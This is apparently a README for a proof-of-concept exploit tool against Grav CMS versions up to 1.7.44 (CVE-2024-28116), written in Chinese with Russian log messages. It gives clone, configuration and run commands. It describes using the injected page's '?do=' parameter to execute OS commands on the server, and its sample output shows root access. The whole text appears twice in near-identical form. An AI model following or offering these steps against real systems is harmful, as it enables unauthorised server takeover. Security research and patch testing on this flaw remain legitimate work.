GenGravSSTIExploit 是一个 PoC Python 脚本,利用 Grav CMS 版本 <= 1.7.44(CVE-2024-28116)中一个已认证的服务端模板注入(SSTI)漏洞。该漏洞允许具有编辑者权限的用户在远程服务器上执行操作系统命令。
注意:此脚本需要有效的凭据才能登录 Grav CMS 控制台。
requests 库(通过 pip install requests 安装)克隆仓库
git clone https://github.com/geniuszly/GenGravSSTIExploit
cd GenGravSSTIExploit
配置凭据
编辑脚本以提供你的 Grav CMS 编辑者凭据:
GRAV_USER = "youruser"
GRAV_PASSWORD = "yourpassword"
运行脚本
使用以下命令运行脚本:
python GenGravSSTIExploit.py -t <TARGET_URL> -p <PORT>
<TARGET_URL>:目标 URL,格式为 http[s]://hostname。<PORT>:端口号(默认为 80)。示例:
python GenGravSSTIExploit.py -t http://example.com -p 8080
与 Exploit 交互
如果利用成功,你会获得一个可以执行操作系统命令的 URL:
[+] RCE payload injected. Visit the malicious page: http://example.com:8080/poc_<ID>?do=<command>
python GenGravSSTIExploit.py -t http://example.com -p 8080
脚本将逐步执行,并通过终端向你提供更新。你可能会看到以下内容:
2024-10-02 12:00:01 - INFO - Проверка целевого URL...
2024-10-02 12:00:02 - INFO - Получение session cookie и login-nonce...
2024-10-02 12:00:03 - INFO - Попытка аутентификации в Grav CMS...
2024-10-02 12:00:04 - INFO - Доступ к админ-панели после аутентификации...
2024-10-02 12:00:05 - INFO - Создание новой страницы...
2024-10-02 12:00:06 - INFO - Получение form-nonce и unique_form_id...
2024-10-02 12:00:07 - INFO - Инъекция RCE-полезной нагрузки...
2024-10-02 12:00:08 - INFO - [+] Инъекция RCE успешна. Перейдите по ссылке: http://example.com:8080/poc_4T7B?do=<command>
脚本运行完成后,你会看到一条包含注入页面链接的消息。你可以访问此链接来执行操作系统命令:
http://example.com:8080/poc_4T7B?do=whoami
使用指定命令访问该 URL 将直接在页面上显示输出:
Cmd-Output:
root
此工具仅用于教育目的。请负责任地使用,并仅在你拥有明确许可的系统上使用。作者对因使用此脚本造成的任何滥用或损害不承担责任。
GenGravSSTIExploit 是一个 PoC Python 脚本,利用 Grav CMS 版本 <= 1.7.44(CVE-2024-28116)中一个已认证的 SSTI(服务端模板注入)漏洞。该漏洞允许具有编辑者权限的用户在远程服务器上执行操作系统命令。
注意:脚本需要有效的凭据才能在 Grav CMS 管理面板中授权。
requests 库(通过 pip install requests 安装)克隆仓库
git clone https://github.com/geniuszly/GenGravSSTIExploit
cd GenGravSSTIExploit
配置凭据
编辑脚本并输入 Grav CMS 编辑者凭据:
GRAV_USER = "youruser"
GRAV_PASSWORD = "yourpassword"
运行脚本
使用以下命令运行脚本:
python GenGravSSTIExploit.py -t <TARGET_URL> -p <PORT>
<TARGET_URL>:目标 URL,格式为 http[s]://hostname。<PORT>:端口号(默认为 80)。示例:
python GenGravSSTIExploit.py -t http://example.com -p 8080
与 Exploit 交互
如果利用成功,你会获得一个可以执行操作系统命令的 URL:
[+] Инъекция RCE успешна. Перейдите по ссылке: http://example.com:8080/poc_<ID>?do=<command>
python GenGravSSTIExploit.py -t http://example.com -p 8080
脚本将逐步执行,并通过终端向你提供更新。你可能会看到以下内容:
2024-10-02 12:00:01 - INFO - Проверка целевого URL...
2024-10-02 12:00:02 - INFO - Получение session cookie и login-nonce...
2024-10-02 12:00:03 - INFO - Попытка аутентификации в Grav CMS...
2024-10-02 12:00:04 - INFO - Доступ к админ-панели после аутентификации...
2024-10-02 12:00:05 - INFO - Создание новой страницы...
2024-10-02 12:00:06 - INFO - Получение form-nonce и unique_form_id...
2024-10-02 12:00:07 - INFO - Инъекция RCE-полезной нагрузки...
2024-10-02 12:00:08 - INFO - [+] Инъекция RCE успешна. Перейдите по ссылке: http://example.com:8080/poc_4T7B?do=<command>
脚本运行完成后,你会看到一条包含注入页面链接的消息。你可以访问此链接来执行操作系统命令:
http://example.com:8080/poc_4T7B?do=whoami
使用指定命令访问该 URL 将直接在页面上显示输出:
Cmd-Output:
root
此工具仅用于教育目的。请负责任地使用,并仅在你拥有明确许可的系统上使用。作者对因使用此脚本造成的任何滥用或损害不承担责任。